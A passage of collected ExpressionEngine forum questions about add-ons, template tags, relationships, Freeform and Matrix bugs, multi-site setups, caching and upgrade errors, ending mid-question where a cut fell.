texts: Any tips on performance tuning Structure?

texts:
I use Structure for titles, breadcrumbs, nav, etc. I turned on debugging output, and it turns out titles (exp:structure:titletrail) and breadcrumbs (exp:structure:breadcrumb) are really performance intensive, taking my 1 second load to 2.x seconds, each getting the "warning/yellow background" in the EE load stack. Any suggestions on what I might do to tweak performance?

EDIT: The breadcrumb and titletrail tags now each add about 1.5 seconds to my page load time and 50MB in my template stack. I've since added several (like 200) more entries, making the total entries managed by Structure to several hundred. Oddly, the nav_advanced tag takes almost nothing.

Perhaps the amount of entries managed by Structure have something to do with this performance hit? I read on EE's Pages Module page that very few pages should be used with this. If Structure is based on Pages, does it also inherit this limitation?


texts: Parent Relationship Conditional -- if not empty

texts:
I have had no luck in trying to sort a conditional that will only show the following if the category is not empty for the parent relationship.

ARTICLES

{parents orderby="date" sort="desc" channel="articles" category="1" status="not closed"}

{parents:title}

{parents:article_author}

{/parents}

This is an online magazine table of contents. The parent relationship is the issue number. So I want to only displays articles in the TOC if there are any for that issue.


texts: Something similar to the Acronym module for EE 2?

texts:
Before I upgraded to EE 2, I used the Acronym module quite a bit on EE 1. Not so much for acronyms, but I used the fact that I could make convenient link shortcuts for frequently reused links with it. For example, I would define the acronym for a particular site as Site A-Link and I would set the text that it would replace to as Site A.

Are there any add-ons for EE 2 that could be used to accomplish something similar?


texts: How to Filter or Block Excessive Spam in Site Search

texts:
I'm getting a crazy amount of spam traffic through supersearch. They are all for 13-digit ISBNs (book UPCs). Since we are an online bookstore, I didn't notice it at first, but we're getting about 1000 searches per hour(!) for products obviously unrelated to our website (we sell construction books).

Is there a way I can filter or block this spam? For that matter, is there a way I can find the IP address where these searches are coming from (assuming the IP address is static)?


texts: Datagrab import, relationshipfield inside grid

texts:
I'm trying to achieve an import with datagrab with the following field construction:
A grid, and inside a grid I have a column with a relationship field (and some other normal text field inputs in the other columns).
When I import a csv, it looks like Datagrab doesn't process these relationship fields at all inside a grid. Whereas standalone relationship fields do seem to import fine.
Am I missing something? Is there any way to import a relationship inside a grid or do I actually need to hack Datagrab or create custom extension code for it?


texts: Fieldtype to overlay html (tooltips) on top of image?

texts:
I would love to find a fieldtype addon that enables me to add tooltips onto an image, like the example here: http://goo.gl/kkLXoZ

Basically a very simple editor that enabled you to select an image and create/edit/delete tooltips on a particular coordinate relative to the image container size. I haven’t seen this on devotee or elsewhere - thought I would try my luck here.

Thank you!


texts: PHP Error from relationship field: Undefined offset: 95, Filename: relationship_parser/Tree_builder.php

texts:
I have a template that is pulling in the parents of a relationship field with the {parents} tag. I'm seeing a notice when I load the page for each of the {parents}. The child's data is just a text field and not in a grid.

A PHP Error was encountered
Severity: Notice

Message: Undefined offset: 95

Filename: relationship_parser/Tree_builder.php

Line Number: 544

This same notice is repeated for each of the parent entries. Through some research, I believe this is caused because of a malformed array being fed to Tree_builder.php, but I'm not sure what I should be looking for to fix.

I've echoed out the entry_id as they are passed into Tree_builder's function to assign entries. When I look at the database, I can see the entry_id with what appears to be valid child_id.

Any tips on debugging this would be greatly appreciated!


texts:
I'm trying to decide if Freeform (or Freeform Pro) is a good fit for what I need to do and wondering a couple things about forms I can set up for member us.

For front end edits, can users edit entries that have been approved or can they only view pending? I want to set it up so they can edit entries that have been rejected or are still pending but not once they have been published.

Also can you allow users to edit an existing entry but as pending? Such as submitting edits or extra information on an entry and if approved, that information appears on that particular entry. If allowed is this a feature on free, pro or both?


texts: Can you have a relationship with a *category* instead of a 'channel' in channel fields?

texts:
I want to setup a 'Pages' channel in such a way where I can include a loop from a different channel (in this case 'Listings') only showing entries for a particular category.  I'm using Structure to arrange my sitemap, so I can't use segments in the URL - plus it will only be relevant for certain pages and not others, so I need to find a way the user can select a related 'Listings' category when editing the 'Page' if appropriate which would then power a listings loop.

Can anyone advise or link to somewhere that shows how to do this?

Thanks,
Justin


texts: Finding related Transcribe entries for use with Playa and Structure

texts:
I have a site set up with 2 languages using Transcribe and Structure and I am now adding a third. One section is a stockist list. The only way I could get this to work, without having to double/triple up on entering stockist information which is the same for each language, was to enter each stockist via the Publish tab (not using Structure) and then link it to the relevant country's state for each language (set up using Structure), using a Playa field (see at the bottom of this question). However, this is very cumbersome and a pain for my client to have to select the same named state for each language.

English tree in Structure:

French tree in Structure

Now that I am adding another language the problem has become worse. I now need to revisit every single stockist and chose the related state for the NEW language in the Playa field! Surely there must be an easier way? Is it possible to find the ID's of the related entries in the different languages so that I only need to choose the English entry and the French and German (and any other new language) are automatically selected as related? And then add this to my template somehow?

Current Playa field in the Stockist entry Publish tab. Cumbersome.

Thanks in advance for your help - I hope my explanation is clear!


texts: Column layout used for form, but not for display of entries

texts:
Forms: 3.5.3

ExpressionEngine: 2.11.1

I have a fairly long form that has where a good portion of the fields are setup in 2 columns - that layout is used when viewing/entering data into the form itself. But when I output submissions to the form using the {exp:forms:entries} tag, the output is all in a single column (the fields are also not in the same order as they are when editing/viewing the form itself, but that's a separate issue).

Is there any way to make the output of the {exp:forms:entries} use the same layout as the {exp:forms:form} tag?

Edit: just occurred to me, is it possible that using columns is the cause of the entries tag not displaying fields in the correct order?


texts:
EE 2.9.3
FF 4.2.2

I've got a Freeform form where I'm using recipients, but it's not sending emails to the recipients.  However if I use notify_admin and admin_notify with the same notification template that email gets sent.

clearly emails are able to be sent but using recipients is not working. I've checked and checked and am unable to find any typos or obvious mistakes. Have also copied code to a blank template and it continues to behave incorrectly.

    {exp:freeform:form
      form_id="1"
      form:class="form-horizontal"
      required=""
      return="contact/thank-you"
      status="open"
      notify_admin="yes"
      admin_notify="fake@mydomain.com"
      admin_notification_template="contact_notification"
      recipient_template="contact_notification"
      recipients="yes"
      recipient1="John|none@domain.com"
      recipient2="Stacy|none1@domain.com"
      recipient3="Bill|none2@domain.com"
    }

      <fieldset>

        <!-- Select Basic -->
        <div class="form-group">

            <select id="province" name="province" class="form-control">

              <option required class="orange">Contact Person</option>

              {freeform:recipients}
                  <option
                      value="{freeform:recipient_value}"
                      {if freeform:recipient_selected}selected="selected"{/if}>
                      {freeform:recipient_name}
                  </option>
              {/freeform:recipients}
            </select>

        </div>

more fields here

      {/exp:freeform:form}


texts: Handling banned IPs when you deploy using version control

texts:
I'm ending up with banned IPs being added to my bootstrapped config file by ExpressionEngine on the live server but this means my local config.php is at odd with the live version.

How should I handle such a scenario? Commit the changes from the live server back into the repo on a regular basis? Or is there some way to push banned IPs into a database table instead (would seem to make more sense!)?

Any pointers greatly appreciated.


texts:
In the control panel, you can set channels access for users.

In the frontend, I want to get the channels data a user has access to and the fields data it can view.

I am not talking about the channel entries data. I am talking about the channel data themselves.

Is there a way to get this information? Are there addons for these feature?


texts:
So I have a challenge, here's the setup:

3 Sites, each with it's own domain, managed by MSM.
Each site has a small e-commerce implementation requiring SSL
Multi-Domain SSL certs are prohibitively expensive, so I intend to get 3 single domain certs.

The server that these sites are hosted on requires a separate CPanel instance for each site w/ SSL due to limitations with adding multiple IP addresses to each instance.  I don't entirely understand the details of this, but they assure me that while it would be possible to set up all 3 sites in one instance it would be prohibitively challenging to set up and maintain.

Which leads me to the question - how can I set up 3 sites in 3 separate CPanel instances all running off the same MSM install?  Is there other alternatives I'm not considering here?  How would you handle this setup?


texts: Expresso Store -Trigger payment Gatway from backend or method

texts:
Is there a way that I can trigger a payment gateway to process an order that has already been processed already.

i.e. A user selected to pay for an order using the manual payment method and process their order as such. The user then decides to contact the site admin because they instead wish to for this order via another payment gateway.

Is there a way using php that I can allow this to happen and if so where do I look to find the correct methods that will achieve this.

Thanks


texts: After upgrade, Matrix won't save image references

texts:
Just upgraded to Matrix 2.5.9 on an EE 2.5.3 site, and I'm experiencing a problem with images columns in Matrix rows:

I create a new entry
I add a Matrix row with text in one column, and an image in the other
I Submit

One of two things happens:

If the image column is required, the submit fails, and I am told "The [column name] column is required." The column is empty, as if I never added an image.
If the image column is NOT required, the submit is successful, but when I go back to edit the entry, that image is missing.

In the database, the image column for the Matrix row is blank (as opposed to NULL), but the rest of the row looks right.

If I edit an existing entry, I have no issues with the existing images saving and persisting - they are not deleted - but new rows that I create on an existing entry have the same issue (images that are added don't get saved to the DB). Anyone have any ideas?


texts:
I have a FieldPack Pill field called companies_type with the following options:

physical : Physical Store
webshop : Webshop

To print the fields value I can just use companies_type but how can I get the value's label? (Webshop or Physical Store in the this situation)

I've tried with companies_type:label, companies_type:option, companies_type:value and all those inside a tag pair as wel: {companies_type}{label}{/companies_type}

Anyone know how/if this is possible?


texts: Creating an Extension - Inform custom email address on submission

texts:
I've never created an Addon before I'm finding it a little daunting, any pointers would be much appreciated.

Here's what I am trying to achieve.

I have a Channel Form in the front end that site's users submit to request approval for passing a skill. In the form they choose the name of the instructor that helped them. When they submit the form I would like the instructor chosen to be notified by email (passed along in the form) that User X submitted an entry and provide the instructor with a link to review, approve or deny that entry.

By the looks of it I need to use the entry_submission_end hook. I don't need any extension settings or to store anything in a custom table.


texts: Possible to alter url_title field so it populates from the title and another field

texts:
Currently, as standard the url_title field generates the url from the title field. I can then manually change the url_title field for each entry separately, but is it possible to set the url_title field to automatically generate with the title and an additional field for a specific channel?

For example, currently I may have the following fields in a 'Food' channel:

{title}

Pepperoni Pizza

{url_title}

pepperoni_pizza

{restaurant}

Luigi's Smoke House

and I would like to set the url_title to automatically populate with the title and restaurant fields, resulting with:

{url_title}

pepperoni_pizza_luigis_smoke_house


texts: Exp:resso Store Download error "Unable to locate file ID"

texts:
I keep getting a "Unable to locate file ID" when providing a file URL to the store:download tag. I believe this is because I am passing in the URL vs the actual server path.

If my assumptions are correct, how do I get the server path instead of the entire URL?

I've tried using all of the obvious available path variables within the file fieldtype pair and none of them seem to work.


texts:
I'm getting the following error when I turn on debugging.

Notice
Undefined index: m_field_ft_3

ee/legacy/libraries/channel_entries_parser/components/Custom_member_field.php, line 120

I don't get this error on the home page, but on individual story pages. This is from EE v 3.5.6.


texts:
My matrix does not save its data anymore.

I use matrix for a table of persons that hold a certain certificate. four textfields and one date field. I want to add 300 people, but I am at row 165 now, and matrix won't save the last name of this person, so right in the middle of a row, on a regular text field, nothing more can be saved. The save seems to go through, but when you click 'edit this entry' the newly entered data is gone.

Another strange thing is the date field now uses another data format to display the date; suddenly the times have an AM/PM notation where before they used the 24h clock. But the issue is not limited to the d

Data entry was handled by the client and they have twice entered all 300 names by hand - only to find them lost them when reopening the entry. The site needs to go live, but I cannot get all the data in the field…

System setup:

EE 2.7.2
Matrix 2.5.10
mysql 4.1.6
php 5.4.4


texts:
My new member notifications are not being sent even though I have my email and notifications set to YES in the member prefs.

I CAN send emails through tools > communicate so I know email works.

I am using USER from solspace.  I also tried MX Notify Control but that doesn't work either.

My new members have no activations required but I still want to be notified.  What am I missing.

EE ver 2.5.5
User 3.4.0


texts: Installing Forum 3.1.12 on EE 2.5.5 - ERROR

texts:
Trying to do an install of the Discussion Forum on EE 2.5.5 and got this error

Fatal error: Call to undefined function ee() in /(Path Here)/expressionengine/modules/forum/upd.forum.php on line 151

Any ideas? - Forum will not install.


texts: I'm looking to use the wordcount plugin for the CKeditor in WYGWAM.  Wordcount states it is compatible with version 4 of CKeditor, which is in v3 of WYGWAM.  So my question is - Is it possible to get wordcount working inside of WYGWAM 3?  Can anyone confirm before I buy a licence?


texts: Issue with many relationship fields in a channel

texts:
I have a channel with 4 relationship fields and each entry can be related to one or two relationship fields. and I hide unnecessary fields using ENTRY TYPE(http://devot-ee.com/add-ons/entry-type) field type.
   In the template I am fetching the channel entries using fixed_order and based on entry-type  I am embedding a template with entry field values..all field values comes fine except relation fields and I am not able to understand why it directly show relationship field tags directly.
   My expression looks something like this

{exp:stash:set name="home_page_blocks"}
  {exp:channel:entries channel="pages"}
    {select_left_blocks}{select_left_blocks:entry_id}|{/select_left_blocks}
  {/exp:channel:entries}
{/exp:stash:set}

{exp:channel:entries channel="blocks" dynamic="no" parse="inward" fixed_order="0|{exp:stash:get name='home_page_blocks'}" }
{exp:switchee variable = "{select_block_type}"}

{case value="news_article_block"}
    {title} || {related_news_article}{related_news_article:entry_id}{/related_news_article}
{/case}

{case value="case_article_block"}
    {title} || {related_case_article}{related_case_article:entry_id}{/related_news_article}
{/case}
{/exp:switchee}
{/exp:channel:entries}

Now this expression outputs

Entry title one || {related_news_article}{related_news_article:entry_id}{/related_news_article}

and I am not able to understand whats going wrong here,can anyone please help me out here

Cheers
Nisar


texts:
I'm sorry if this has already been asked, the new EE answers thing is so overly confusing to me, I'm almost considering private exchanges via email but thought I'd just ask here first.

All I want to do is to edit a Matrix field from the front end. This is my code, but all it's doing is adding a new row. Any thoughts?

{therapist_employcompany sort="desc" limit="1"}
   <input type="hidden" name="therapist_employcompany[row_order][]" value="row_id_{row_id}">
   <input type="text" name="therapist_employcompany[row_id_{row_id}][col_id_48]" value="{therapist_employcompany} "/>
{/therapist_employcompany}

I thought by bringing in the row ID dynamically it would update it, but it's not.


texts:
First off, I need to start with the fact that I cannot STAND GoDaddy... However, I had an old hosted account from 2002 on there and decided to use it as a dev playground to try some stuff out. I had a local site already function running on WAMP on a Windows machine. When I went to transfer the site to GoDaddy, I have yet, (3 days deep), been able to get it running. Here is what I have done:

Created the Sub Domain (dev)
Created the Database in MySQL
Exported the database from my local MySQL
Imported the previously exported database into the newly created database
Placed the system folder in the webroot (due to GD being persnickity)
Placed the rest of the site in the dev folder for the Sub Domain dev.domain.com
Modified my index.php and admin.php files to reflect the new locations
Updated the database file to reflect the new information:

$db['expressionengine']['hostname'] = 'dbname.db.acct-number.hostedresource.com';
$db['expressionengine']['username'] = 'username';
$db['expressionengine']['password'] = 'password';
$db['expressionengine']['database'] = 'database';

However, I keep getting the following on admin and site:

An Error Was Encountered
Site Error: Unable to Load Site Preferences; No Preferences Found

So to verify I had the connection strings correct, I copied the dbtest.php file to the dev folder and ran it after changing the following fields:

$hostname   = "dbname.db.acct-number.hostedresource.com";
$username   = "username";
$password   = "password";
$db_name    = "database";

When I hit this page, I am given the following:

A connection was established to your database server
Your database was selected.

I am running out of ideas and GoDaddy support has yet to respond to a ticket from 3 days ago. I guess I am lost as to why dbtest hits fine, but the admin and site say a connection could not be established. (This is the message I receive when I turn on the debug to 1.


texts: Zoo Visitor Forgot password form not working

texts:
I'm using EE 2.8.1 and Visitor 1.3.32.

I have the following form on a /forgot-password template:

{exp:zoo_visitor:forgot_password error_handling="inline" reset_url="forgot-password" parse="inward"}
    {if password_sent}

A password reset mail has been sent to the provided email.

    {if:else}
            <fieldset>

                            Your email:
                            <input type="text" name="email" id="email" class="form-text" value="" />

                    {error:email}
            </fieldset>

                            <input type="submit" value="Retrieve password" class="button" />

    {/if}
{/exp:zoo_visitor:forgot_password}

When I submit the form, it returns to my home page and does not send an email. I have a sneaking suspicion that it has something to do with my htaccess file. However, I'm not adding any slashes, rather, removing them, etc:

RewriteEngine On

# Force non www to www
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]

#remove trailing slash from URLs
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} ^(.+)/$
RewriteRule ^(.+)/$  /$1 [R=301,L]

# Removes index.php from URLs
RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /index.php/$1 [L]

Any thoughts here?


texts: Playa "no entries for this related channel"

texts:
I'm using a Playa field within Matrix to specify related entries, in EE 2.5.5

If I set the "Channels" selection to -Any- everything works as expected and the entries to select from are displayed when you go to edit a content item.

If I change the "Channels" selection to any specific Channel, it displays "No entries for this related channel" when there are Open entries.

The themes folder URL is given with the full URL, and I have tried disabling the .htaccess as suggested at http://pixelandtonic.com/playa/docs/troubleshooting


texts:
I have a simple page with a simple PayPal Buy button on the page.
When a person buys an item, and completes the purchase on PayPal, they will be returned to a thank-you page.

In order to NOT have people access the thank-you page if they have not actually purchased anything, I would like to give every user a unique ID in the return url and use it as a url_segment.

When the user returns, the url will look like www.domain.com/thank-you/34567654
In the template I could do something like:

{if current_id != segment_2}
  {redirect='/'}
{/if}

Does something like this exist?

I know how to pass the option in the PayPal return url, but can one generate a unique user id (session id) and compare it like in my example. Use it as a template var?


texts: How to pre-select option value when option text differs from the value

texts:
I have a form with a select drop-down for country codes, and with option text that displays the full country name, like so:

<select name="country_code">
  <option value="AUS">Australia</option>
  <option value="CAN">Canada</option>
  <option value="GBR">United Kingdom</option>
</select>

After a user has chosen their country and stored the country_code data into an expressionengine field, how can I pre-select their country code and associate the full country name afterwards when they want to edit their country in the future?  For example, something like this:

<select name="country_code">
  <option selected value="{country_code}"><!-- full country name here --></option>
  <option value="AUS">Australia</option>
  <option value="CAN">Canada</option>
  <option value="GBR">United Kingdom</option>
</select>


texts: Dropdown menus in RTE H tags render 1 level higher i.e. h2 tags render as h3

texts: My university cannot allow for  H1 tags in the RTE as we have to hold that important ADA tag for the page titles. There may have been a config somewhere in the affected EE6 install (developers tied up with priorities) b/c the solution was to keep an h1-h3 dropdown but render as follows: h1 as h2, h3 as h4 and h4 as h6. I only have 3 options. I'd like to at least a 4th option (h4 which would then render as h5). Where in the system can i add this?


texts: Is it possible to use $lang variable in fatal_error output on front end?

texts:
In my custom module I want to display a series of error messages for X, Y & Z. I have a single tag in the mod.[module_name].php file and I want to throw out an error if no id has been provided.

if ( !ee()->TMPL->fetch_param('contact_id') ) {
    ee()->output->fatal_error(lang('missing_contact_id'));
}

Now when I add the tag without the id the message appears but with the text 'missing_contact_id' rather than what is defined in my $lang language file.

Is there a way to output this on the front end?

It's worth noting that all my language strings are displaying correctly from the various functions in the mcp.[module_name].php file and the views that I have set up.

Thank you.


texts: How do I prevent expired linked events from being displayed?

texts:
I have the following code on a listings page that is meant to display linked events that occur in the future.

{reverse_related_entries weblog="events" sort_by="date" show_expired="no"}
    {if count==1}

Upcoming Events

    {/if}

{title}

{if count==total_results}

{/if}
{/reverse_related_entries}

The problem is that ALL linked events are being displayed, even those that have expired (as in the expired date is in the past)

My version is 1.7.1


texts: Getting a custom fieldtype working in Matrix

texts:
I've recently updated EE to 2.5.5 and Matrix to 2.5.3, but now one of out in-house addons is broken. The addon is a custom fieldtype designed to be included in a Matrix field, but this now causes the publish page to turn blank. This is the only scenario in which this occurs; Matrix plays nicely with everything else, and our addon doesn't break anything when not included in a Matrix field.

I've tested this with a locally hosted version of EE 2.5.3, and got a PHP error rather than a blank page:

A PHP Error was encountered

Severity: Notice

Message: Undefined property: Content_publish::$tools_model

Filename: custom_fieldtype/ft.custom_fieldtype.php

Line Number: 271

Fatal error: Call to a member function get_upload_preferences() on a non-object in C:\Program Files\EasyPHP-12.1\www\EE\system\expressionengine\third_party\custom_fieldtype\ft.custom_fieldtype.php on line 271

Anyone know what's going on here?


texts: Exclude Calendars (Solspace) from displaying?

texts:
I have a MSM site with Solspace Calendar installed. For ease of use on the clients side, they'd like to manage all calendars from one side of the admin which is pretty easy but I'm running into a problem with trying to exclude certain calendars from showing up on one site.

For site A, I'd like to show all calendars EXCEPT specified ones.

For site B, I'd like to ONLY show the specified calendars. This is easy:

calendar_name="classes|events"

So, for site A, I should be able to do this:

calendar_name="NOT classes|events"

But it doesn't seem to be working. It hides all my calendars and seems to break the tag.

Any ideas or suggestions would be great. Thanks!


texts: Event tracking code to Freeform generated form

texts:
Running Expression engine v2.1.3.. I know we should update..

I have to say that I am not a developer, but I need a small help here. I have been asked to add a tracking code to a form.

This code:

onSubmit="_gaq.push(['_trackEvent', 'ClientA NO Landingpage', 'Button', 'Call me']);"

To this form:

{exp:freeform:form
   collection="Ring meg"
   notify="someemail@someemail.com"
   required="phone1"
   form:class="ringmegform"
   return="{if user_language != 'no'}{user_language}{/if}/aktiviteter/ringer"
   output_json="yes"
   ajax="yes"
}

This form uses the default template.

Any idea how I can do this?


texts: adding container tags or tracking pixels

texts: How do i add container tags or tracking pixels? I need to add code provided by third party digital media company so I can track conversions.  How is this done on EE?


texts: Channel Form - Conditionally Show Fields

texts:
Basically have a form to submit to a channel but need to show some extra fields depending on whether user clicks yes/no on a radio button. If yes then the hidden custom fields should appear.

Has anyone done this with Channel Form in EE 2.8.1 ? Any pointers?


texts:
My company has a legacy add-on from version 2 and has now updated to version 4 of EE.
With the upgrade, the hooks that fire when a new entry of a specific channel type are no longer triggering.
After some research, it looks like the issue that the hook names are wrong. The code defining them is below.
   public function activate_extension() {

       // Setup custom settings in this array.
       $this->settings = array();

       $entrySubmissionBeginHook = array(
           'class'     => __CLASS__,
           'method'    => 'entrySubmissionBegin',
           'hook'      => 'entry_submission_ready',
           'settings'  => serialize($this->settings),
           'version'   => $this->version,
           'enabled'   => 'y'
       );

       $entrySubmissionEndHook = array(
           'class'     => __CLASS__,
           'method'    => 'entrySubmissionEnd',
           'hook'      => 'entry_submission_end',
           'settings'  => serialize($this->settings),
           'version'   => $this->version,
           'enabled'   => 'y'
       );

       $deleteEntriesStarthook = array(
           'class'     => __CLASS__,
           'method'    => 'deleteEntriesStart',
           'hook'      => 'delete_entries_start',
           'settings'  => serialize($this->settings),
           'version'   => $this->version,
           'enabled'   => 'y'
       );

       ee()->db->insert('extensions', $entrySubmissionBeginHook);
       ee()->db->insert('extensions', $entrySubmissionEndHook);
       ee()->db->insert('extensions', $deleteEntriesStarthook);
   }


texts: Using a custom PHP variable in a channel entry start_on and stop_before

texts:
I am attempting to display entries from a specific channel 7 days before and 7 days after an entry_date from another entry. I don't want to use a plugin because.

Here's how I am getting / calculating the 7 days prior / 7 days after:

{exp:channel:entries channel="pd_request_form" entry_id="{segment_2}"} <?php $php_7_days_before = date ("Y-m-d H:i", floor('{entry_date}' - 604800)); ?>{/exp:channel:entries}
{exp:channel:entries channel="pd_request_form" entry_id="{segment_2}"} <?php $php_7_days_after = date ("Y-m-d H:i", floor('{entry_date}' + 604800)); ?>{/exp:channel:entries}

Here's what works:

{exp:channel:entries channel="pd_request_form" dynamic="no" start_on="2013-01-10 00:00" stop_before="2013-01-24 00:00"}

    {title} - {entry_date}

{/exp:channel:entries}

The dynamic="no" is there because the URL has an entry_id in it. I see entries I would expect to see.

Here's what also works:

<?php echo $php_7_days_before; ?>
<?php echo $php_7_days_after; ?>

When I say it works I mean, it produces output that looks correct to me.

But here is what isn't working:

{exp:channel:entries channel="pd_request_form" dynamic="no" start_on="<?php echo $php_7_days_before; ?>" stop_before="<?php echo $php_7_days_after; ?>"}

    {title} - {entry_date}

{/exp:channel:entries}

I think I'm missing something simple, but I'm not seeing it.


texts: Replacing Entries: Updating Playa/Wygwam from {page_x} to {page_y}?

texts:
Let's say you've got a bunch of entries in the "Original Generic Page" channel, which are getting replaced by pages with the same URLs in the "New Generic Page" channel. Assume also that entries are linked to one another in various ways (anchors in Wygwam fields; relationships via Playa fields, mainly).

For example, when the old "About" page (entry 5 in the Original Generic Page channel) is closed and replaced with the new one (entry 2000 in the New Generic Page channel), is there a good method for updating all of the other entries that previously referenced entry 5 to point to entry 2000 instead?

This change-over isn't happening all at once, and I suspect it'll be ongoing for quite a while as different channels/layouts are introduced over time.

We're using Structure and Publisher (site is multi-lingual) to possibly complicate things further.

Thoughts, any? Are there any add-ons that can help manage this?


texts: How can I show multi-lingual front end system messages?

texts:
I have a MSM set up with site A in english and site B in chinese. What I'd like is for the system messages on site B to show in chinese rather than english (think "Thanks - you're now logged in" etc, etc).

Does anyone know if that's possible and if so how?

Cheers in advance,

Jim


texts: We are using  the UPS plugin, as well as a default shipping method and need the default method to come after UPS during checkout. Is this possible?


texts:
I've installed P&T "Assets", set up an upload directory "/videos", added 4 files to it, and had Assets "index" that folder: http://d.pr/i/kG39

Assets ignores the .flv file but finds, or I presume "indexes" the other 3: http://d.pr/i/UCSw

I'm able to add meta data as expected.

How can I make Assets recognize the .flv file? What about other kinds of files?

Cheers,

-Brandon


texts: Is it possible to access an Expression Engine module on a standalone URL, outside the EE template system?

texts:
I am developing a module that uses Paypal's IPN callback. So in my module code I need to put in the IPN URL.

But in EE the module is called using template tags, so it could be accessed by any URL that any EE developer decides to put the module on (the template group and name).

Is it possible to call the module without going through the EE template group and name? e.g. www.mydomain.co.uk/mymodule/paypalipn

I could probably still pass the IPN URL depending on what template we are on, but I am also only allowing logged in users to access this module, but the IPN should not be for logged in users. The login script is controlled in the template. I dont want to have to write conditionals in the template whether its the IPN method or not. Hope that makes sense!

Thanks


texts: Question on Expressionengine url structure

texts:
Is it possible to effectively bypass the template-group/template structure and have urls such as:

domain.com/{url_title}

where the entry url title is obviously the first segment. Is it even doable and what would be the most efficient and easiest way of doing it? I guess it would need an add-on but I can't seem to find one. It's for a very small site with just two separate template pages and perhaps 10-20 entries.

Would the Pages module be any good for this?


texts:
I am using EE 2.4

Dummy signup: http://tensports.zeecdn.com/test-login-native.php

When I click on register it gives me an error The action you have requested is invalid.

I am submitting a form with action ="http://tensports.zeecdn.com/ee/index.php/register/login-signup"

Can I get some guidance on this?

In case if you want to refer the code :

<form id="signupForm" action="<?php echo $STATIC_URL;?>ee/index.php/register/login-signup" method="post">
    <input type="hidden" id="form_status" name="form_status" value="signup">

Register

</form>

my template:

http://codepad.org/eaKqsvTJ


texts: Explaining (native) caching to mortals/new EE developers

texts:
A common area of confusion for developers new to EE is caching. EE provides a number of caching options that operate at different levels and can interact with each other, sometimes in unexpected ways. This tends to mean that performance does not always automatically improve when using caching unless it is applied intelligently. Understanding EE's caching behaviour is thus an important part of learning to use EE "properly".

So, can you explain the different types of caching that ExpressionEngine provides, specifically their pro's and cons, and why you shouldn't automatically turn on caching here there and everywhere, just because it sounds like a "good thing". (I mean, everyone wants a faster website, right?)

I know this is a complex topic, so do link to external resources, but it would be great to provide a general overview directly in the answers here as well.

NB, While I appreciate that on some high traffic sites, paying extensive attention to caching/performance or even implementing Varnish or similar can make a lot of sense, for this answer I'm primarily interested in what makes sense as a baseline/starting point for a "normal" small/mid-sized ExpressionEngine site, and in using the native caching options that EE provides out of the box.


texts: What is the best approach for sharing templates across MSM sites?

texts:
I have an Expresso Store site that I need to be able to process orders in multiple currencies. My approach is going to be to split the site out into an MSM site. The original site will process orders through Store in USD. The second MSM site will process orders through Store in EUR. With MSM, each site can have it's own Store settings, which makes this possible. At least to my knowledge.

Each site will have identical content, pages, products, etc. The only difference will be the display of the price and the currency used throughout the checkout process. My plan for the EUR site is to have a single products channel, with a Store custom field where I can specify the product price and inventory for the EUR version of the product. Then a Playa field that relates to the USD store version of the product, where I can pull in the rest of the product information, like images and details.

Since I need to share so much of the same information, content, and code across sites, what is the best way to setup my EE templates? Is there a way I can effectively use the same template set for both sites? I know I can embed templates from one site into another, but that gets a little messy with template layouts, embeds, partials, etc. Or am I better off just duplicating the templates for the second site and maintaining two separate, but mostly identical template code bases?


texts: Limit playa total returned entries in control panel

texts:
We have about 7 playa fields in our entry form.

I want to limit the displaying entries but when searching, still to be available to get the desired one.

I believe that by limiting the number of shown entries, it will improve the loading time when editing a page like this.


texts: Memory error crippling site. Ideas for how to debug?

texts:
A client of mine just reported getting the following error when trying to edit one specific entry via the EE control panel:

  Fatal error: Allowed memory size of 134217728 bytes exhausted (tried
  to allocate 71 bytes) in [server path
  removed]/codeigniter/system/database/DB_result.php on line 49

When I've seen memory errors on this site in the past it's been due to users trying to upload images via Channel images in safecracker that are way too large. I've identified which images belong to this entry and temporarily deleted them via FTP but that has not solved the problem.

Since I can't edit the entry on front or backend due to the memory error I don't know how to find out what's wrong with it and debug the issue?

Is anyone familiar with these memory errors and know how I could find out what's the problem?


texts: Lock down certain member groups in the CP so other members can’t delete them?

texts:
Does anyone know if there is there a way to lock down certain member groups in the CP so other members can’t delete member accounts belonging to those member groups?

I have a specific member group, let's call them 'Administrators' which need to be able to create members and delete members in another member group, called 'Customers'. But I don't want the 'Administrators' to be able to delete members in other member groups.

Does that make sense. Any ideas?


texts:
I'm trying to setup pagination at the bottom of my article template.

What I want to achieve is the following:

To link to the first group of 5 pages, to show links for the next 5 pages and to link to the next group of 5 pages.

The pagination links appear but the numbered links link to pages P14, P28, & P42.

Here is my code:

{paginate}
{if {total_pages} > 1}

{pagination_links page_padding="5"}
{previous_page}
&laquo;
{/previous_page}

{page}
{pagination_page_number}
{/page}

{next_page}
&raquo;
{/next_page}
{/pagination_links}

{/if}
{/paginate}

Why is it linking to every 14th page?


texts: ExpressionEngine V4 CMS Icons showed as squares, RichEditText box showed content as HTML and some Member Group setting showed as process bar

texts:
I am using ExpressionEngine Version 4, there are some issues with the CMS, please see the followings:

CMS icons are showing as squares.
RichEditText box doesn't show content as normal text, instead, it showed them as HTML code.
Some member group settings are not showing, only see a progress bar in there, and the bar doesn't seem to disappear.

I think this might be some issues with the path but I'm not able to find out why...

Please help.

Kind regards,
Michael


texts: Issue with saving templates after upgrade

texts:
I have upgraded an EE 1.6.8 website all the way to the latest EE 5, but now I have a problem with saving templates. When I try to save a template after editing, the homepage shows up and the template is not saved... it's not a redirect to the homepage, because the url still points to system/index.php?/cp/design/template/edit/16&S=c81740cc76a21628dcf01628398632f0

The weird thing is this doesn't happen to any template, some work fine, and there doesn't seem to be any logic in which work and which don't.

Any help is appreciated!

EDIT:
When the template contains one of the following strings it refuses to save:

<!DOCTYPE
<html
text/javascript
<meta
<link href=
<?


texts: Does anyone know why when I login to any of my EE sites at admin.php I have to login twice?  The first time it just reloads the page and I have to login a second time to access the backend?


texts:
I want to set the template path specifically for a subdomain - outside of the default_site templates, while still using the same site/entries/data. MSM isn't what I need here and related posts I can find just uses a template group inside of the current set of templates.

So far I have the subdomain loading the site and hitting my conditional in index.php:

if($_SERVER['HTTP_HOST'] == 'sub.domain.com')
{

    $assign_to_config['site_url'] = 'http://sub.domain.com/';
    $assign_to_config['site_name']  = 'admin';
